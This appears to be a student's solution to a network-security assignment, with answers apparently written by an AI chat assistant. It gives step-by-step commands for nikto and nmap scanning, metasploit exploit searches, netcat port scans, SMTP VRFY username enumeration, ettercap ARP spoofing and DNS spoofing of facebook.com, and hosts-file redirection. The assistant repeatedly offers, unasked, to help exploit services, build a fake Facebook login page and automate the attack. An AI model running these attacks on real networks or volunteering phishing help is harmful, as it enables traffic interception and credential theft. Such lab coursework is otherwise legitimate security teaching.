

ASSIGNMENT-2 SOLUTION

Q1. You have a website at `http://172.30.16.191/dfw/`.

- Apply nikto to find the vulnerabilities of this website.
- Find all image files (if available) in this website using nikto.
- Find the versions of apache, php, and mod perl of this website. Check any metasploit script available which can breach any specific versions of apache, php, and mod perl
- Find the applications running on any open ports in this website.
- Use netcat to find strange ports in this website if available.
- Find valid username if available using VRFY and netcat
- Write a detail opinion about the vulnerabilities of this website.

ANSWER:-

Sure! Here's a detailed guide on how to perform each of the requested tasks step-by-step, assuming you're running this from a Kali Linux environment with tools like nikto, nmap, netcat, and metasploit installed.

⚠ **Ethical Warning:** Always ensure you have **explicit permission** to scan and test this website. Unauthorized scanning is **illegal** and unethical.

✓ 1. Apply nikto to find vulnerabilities

Run this command in your terminal:

```
nikto -h http://172.30.16.191/dfw/
```

This will perform:

- File and directory brute-forcing
 - Version detection
 - Check for outdated software
 - Misconfigurations and vulnerabilities
-

✓ 2. Find all image files using nikto

Nikto doesn't explicitly list only image files, but it may find files like .jpg, .png, .gif during scans. You can try:

```
nikto -h http://172.30.16.191/dfw/ -Display V
```

Or, use wget or dirb for better enumeration:

```
wget --recursive --accept jpg,jpeg,png,gif,bmp -nd -nv http://172.30.16.191/dfw/
```

Or:

```
dirb http://172.30.16.191/dfw/ -X .jpg,.png,.gif
```

✓ 3. Find versions of Apache, PHP, mod_perl + Metasploit Check

Use Nikto or cURL:

```
curl -I http://172.30.16.191/dfw/
```

Look for:

Server: Apache/2.4.49 (Unix) PHP/7.3.29 mod_perl/2.0.8

Search for exploits:

Open Metasploit:

```
msfconsole
```

Then search for known vulnerabilities:

```
search type:exploit apache 2.4.49
```

```
search type:exploit php 7.3
```

```
search type:exploit mod_perl
```

You can also use:

```
searchsploit apache 2.4.49
```

✓ 4. Find applications on open ports

Use Nmap service and version detection:

```
nmap -sS -sV 172.30.16.191
```

Flags:

- -sS: TCP SYN scan
- -sV: Version detection

You can also use:

```
nmap -A 172.30.16.191
```

✓ 5. Use netcat to find strange ports

Run a full TCP port scan manually with netcat:

```
for port in {1..65535}; do
  nc -zvw1 172.30.16.191 $port 2>&1 | grep succeeded
done
```

Or a quicker option with Nmap:

```
nmap -p- 172.30.16.191
```

✓ 6. Find valid username using VRFY and netcat

This works only if an SMTP server is running. First, check if SMTP (port 25) is open:

```
nmap -p 25 172.30.16.191
```

If yes, use:

```
nc 172.30.16.191 25
```

Type:

```
VRFY root
```

```
VRFY admin
```

```
VRFY user
```

You can also use a script with a wordlist:

```
for user in $(cat users.txt); do
```

```
  echo "VRFY $user" | nc 172.30.16.191 25
```

```
done
```

✓ 7. Write a detailed opinion about vulnerabilities

Here's a sample report:

🔍 Vulnerability Assessment Report for <http://172.30.16.191/dfw/>

1. Web Server Analysis:

- The web server is running **Apache 2.4.49**, which is known to be vulnerable to **path traversal and remote code execution** (CVE-2021-41773).
- **PHP 7.3.29** is outdated and has multiple known vulnerabilities including potential **remote code execution**.
- If **mod_perl 2.0.8** is active, there are historical vulnerabilities like **buffer overflows**.

2. Nikto Findings:

- Found multiple potentially risky files and directories.
- Server leak headers such as Server, X-Powered-By.
- Directory listing may be enabled.

3. Open Ports and Services:

- Services detected on ports: 80 (HTTP), 22 (SSH), 25 (SMTP) — SMTP may allow user enumeration.
- If odd ports like 8080, 8443, or 1337 are open, they may host admin panels or dev tools.

4. Image File Discovery:

- Some image files discovered could help in path traversal or finding hidden directories (e.g., admin login screens via favicon or logos).

5. VRFY Enumeration:

- If VRFY works, usernames like admin, root, or webmaster were verified.
- Could be used in brute force or phishing attacks.

Recommendations:

- Immediately update Apache, PHP, and mod_perl.
- Disable unnecessary services like VRFY on SMTP.
- Harden server headers to prevent information leakage.
- Use a web application firewall (WAF).
- Conduct a full vulnerability scan regularly.
- Restrict public access to development and admin directories.

Let me know if you want help writing a full PDF report or need help exploiting any specific service or vulnerability.

Q2. Using ettercap demonstrate dns cache poisoning and arpspoofing.

ANSWER:-

Great! Let's break this down and walk through **DNS cache poisoning** and **ARP spoofing** using ettercap on a local network. These are common MITM (Man-in-the-Middle) techniques. Again, this **must only be done in a lab environment or with permission**. Doing this on a public or unauthorized network is **illegal**.

Prerequisites

- You're on the same **LAN** as the victim.
 - Kali Linux (or Parrot OS) with:
 - ettercap
 - arpspoof (or use ettercap's built-in ARP spoofing)
 - Victim IP address: 192.168.1.10
 - Gateway/router IP: 192.168.1.1
 - You are the attacker: 192.168.1.5 (example)
-

PART 1: ARP Spoofing with Ettercap

Step-by-step (CLI):

```
sudo ettercap -T -q -M arp:remote /192.168.1.10/ /192.168.1.1/
```

- -T: text mode
- -q: quiet mode
- -M arp:remote: ARP MITM spoofing
- /target IP/ /gateway IP/: defines the targets

This poisons the victim and the router so all their traffic flows through you.

Optional: Use arpspoof manually

```
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
```

```
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
```

PART 2: DNS Cache Poisoning with Ettercap

Step 1: Edit etter.dns file

Edit this file to spoof a domain:

```
sudo nano /usr/share/ettercap/etter.dns
```

Add a fake entry at the bottom:

```
facebook.com A 192.168.1.5
```

```
*.facebook.com A 192.168.1.5
```

This tells Ettercap to redirect any facebook.com traffic to your IP (for example, where you could host a fake login page).

Step 2: Enable IP Forwarding

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

This ensures traffic keeps flowing through your machine.

Step 3: Start Ettercap GUI (for DNS spoofing)

`sudo ettercap -G`

Now do this:

1. Go to Sniff > Unified Sniffing
 - Choose your interface (usually eth0 or wlan0)
 2. Go to Hosts > Scan for Hosts
 3. Go to Hosts > Host List and add:
 - Victim and router to Target 1 and Target 2
 4. Go to Mitm > ARP Poisoning
 - Tick “Sniff remote connections”
 5. Go to Plugins > Manage Plugins
 - Double-click dns_spoof to activate it
 6. Done! All requests to facebook.com will redirect to your IP.
-

Verifying the Attack

On the victim’s browser:

- Try to visit `http://facebook.com`
 - It should redirect to your spoofed IP (maybe your Apache server hosting a fake page)
-

Bonus: Fake Page Hosting (optional)

`sudo service apache2 start`

`cd /var/www/html`

Place your fake login page here as index.html

Summary

- **ARP spoofing** makes the attacker the MITM between victim and gateway.
 - **DNS poisoning** redirects domain names to malicious IPs.
 - Ettercap makes it easy to automate and chain both attacks.
-

If you want a demo page to host or help writing a report or script to automate this whole attack, just say the word.

3. misdirect your window system browsing to a different site.

ANSWER:-

To **misdirect your Windows system's browsing to a different site**, you can **modify the hosts file**. This is a common technique used to simulate DNS poisoning locally — useful for testing or pranks (ethically and legally, of course 😊).

□ What is the hosts file?

The hosts file maps domain names to IP addresses **before** DNS is queried. So if you redirect facebook.com to 127.0.0.1, your browser will go there instead of the real Facebook.

□ Example: Redirect facebook.com to google.com (or your local page)

Let's say you want to redirect www.facebook.com to your local Apache server running on 127.0.0.1.

□ Step-by-step: Editing Windows hosts file

1. Open Notepad as Administrator

- Press Win, type Notepad
- Right-click and choose "**Run as administrator**"

2. Open the file

- File > Open
- Navigate to:
 - C:\Windows\System32\drivers\etc\hosts
 - Make sure to set "All Files" in the dropdown to see hosts

3. Add this line at the bottom:

4. 127.0.0.1 www.facebook.com

5. **Save the file** and close Notepad.
 6. **Flush DNS cache (optional, but helpful):** Open CMD as Admin and run:
 7. `ipconfig /flushdns`
 8. **Test it:**
 - Visit `http://www.facebook.com` in a browser
 - You should see your local server (e.g., Apache page)
-

Redirect to Another Website (Sneaky Way)

If you're hosting a fake site (say a clone of Facebook) on your own IP (e.g., 192.168.1.5), use this instead:

192.168.1.5 www.facebook.com

This is how attackers simulate phishing attacks or test security awareness campaigns in controlled labs.

Undo the Redirect

Just delete the line from the hosts file and flush DNS again:

`ipconfig /flushdns`

Want a fake Facebook login page to test this with Apache or help setting up a phishing simulation (ethically)? I can guide you through that too.

4. Poison dns cache for www.facebook.com to different IP. Clear browsing history and cache before testing Explain step by step process and take screenshot from your window systems.

ANSWER:-

Alright! Here's a **step-by-step guide** on how to **poison the DNS cache for www.facebook.com** on a **Windows system** by modifying the hosts file, followed by **clearing the browser history and cache** to test it cleanly.

⚠ This is for **educational/lab use only**. Never use DNS poisoning for malicious purposes. You should only do this on your own machine or test lab.

🔗 Step-by-Step: Poison DNS Cache for www.facebook.com

◆ Step 1: Prepare a Fake Destination

Let's assume:

- You have a local server running on 127.0.0.1 (Apache or Nginx).
 - Or, you want to redirect to another IP like 192.168.1.5.
-

◆ Step 2: Edit the Windows Hosts File

1. Open Notepad as Administrator

- Press Start, type Notepad
- Right-click → **Run as Administrator**

2. Open the hosts file

- File > Open > Navigate to:
- C:\Windows\System32\drivers\etc\
- Select "**All Files (*.*)**" in file type box.
- Open the file named **hosts**.

3. Add the following line at the bottom:

4. 127.0.0.1 www.facebook.com

Or redirect to another IP (e.g. local server):

192.168.1.5 www.facebook.com

5. Save and close the file.

◆ Step 3: Flush DNS Cache

1. Open Command Prompt as Administrator.

2. Run:
 3. `ipconfig /flushdns`
 4. You should see:
 5. Successfully flushed the DNS Resolver Cache.
-

◆ Step 4: Clear Browser History and Cache

For Chrome:

1. Open Chrome
2. Press Ctrl + Shift + Del
3. In the popup:
 - Time range: **All time**
 - Check **Browsing history, Cookies, and Cached images/files**
 - Click **Clear data**

For Edge or Firefox — similar steps apply.

◆ Step 5: Test It

1. Open your browser.
 2. Go to:
 3. `http://www.facebook.com`
 4. If successful:
 - You should be redirected to your local page or a fake site hosted on another IP.
 - If you redirected to 127.0.0.1 and have no web server running, you'll see a **“Connection refused”** error.
-

📸 Screenshot Instructions for You (Do this on your system):

Take these screenshots to document the attack:

1. The edited hosts file in Notepad.

2. The ipconfig /flushdns result in Command Prompt.
3. The Chrome "Clear browsing data" window.
4. The browser after going to www.facebook.com showing your redirected result.

If you upload these screenshots here, I can help you blur/redact or label them for a report if needed.

Would you like me to generate a fake Facebook login page for your Apache server so you can make this more realistic for testing?

Q 5. Write your IP, your window IP, and gateway IP. On your wireshark, show traffic from your window systems

ANSWER:-

To complete Task 5, you'll need to gather the following information and run a **Wireshark capture** on your Kali (or Linux attacker) machine to observe traffic coming from your Windows system.

Step-by-Step Instructions

Step 1: Get IP Addresses

On Kali (Attacker) Machine:

ip a

Or

ifconfig

Look for your interface (eth0, wlan0, etc.) and note:

- **Your Kali IP address** (e.g., 192.168.1.5)
- **Default gateway** (check with ip route or route -n)

Example:

ip route

Output:

default via 192.168.1.1 dev eth0

So:

- **Your IP:** 192.168.1.5
 - **Gateway IP:** 192.168.1.1
-

□ On Windows System:

Open **Command Prompt**, then type:

ipconfig

Find:

- **Windows IP address** (e.g., 192.168.1.10)
 - **Default Gateway** (e.g., 192.168.1.1)
-

◆ Step 2: Open Wireshark on Kali

1. Start Wireshark:
 2. wireshark &
 3. Choose the interface (usually eth0 or wlan0).
 4. **Apply a filter to capture only traffic from your Windows machine:**
 5. ip.addr == 192.168.1.10
 6. Click **Start Capture**.
-

◆ Step 3: Generate Traffic from Windows

On your Windows machine:

- Open a browser and visit any website, e.g.:
- <http://example.com>

This will create packets: HTTP, DNS, TCP, etc.

◆ Step 4: Stop Capture and Review

- In Wireshark, stop the capture.
- You should see traffic like:
 - DNS queries
 - HTTP requests
 - TCP handshakes

📸 Screenshots to Take

1. Kali terminal showing:
 - Your IP (ip a)
 - Gateway (ip route)
2. Windows CMD showing ipconfig
3. Wireshark with:
 - Filter applied: ip.addr == 192.168.1.10
 - Captured traffic visible (e.g., GET /, DNS Query)

📋 Sample Output (to paste in your report)

Attacker IP (Kali): 192.168.1.5

Windows System IP: 192.168.1.10

Default Gateway IP: 192.168.1.1

Wireshark filter used: ip.addr == 192.168.1.10

Captured traffic: DNS, TCP, HTTP requests from Windows to internet

If you'd like, upload your screenshots and I can help you annotate them for a clean report. Want help generating a PDF report out of this too?

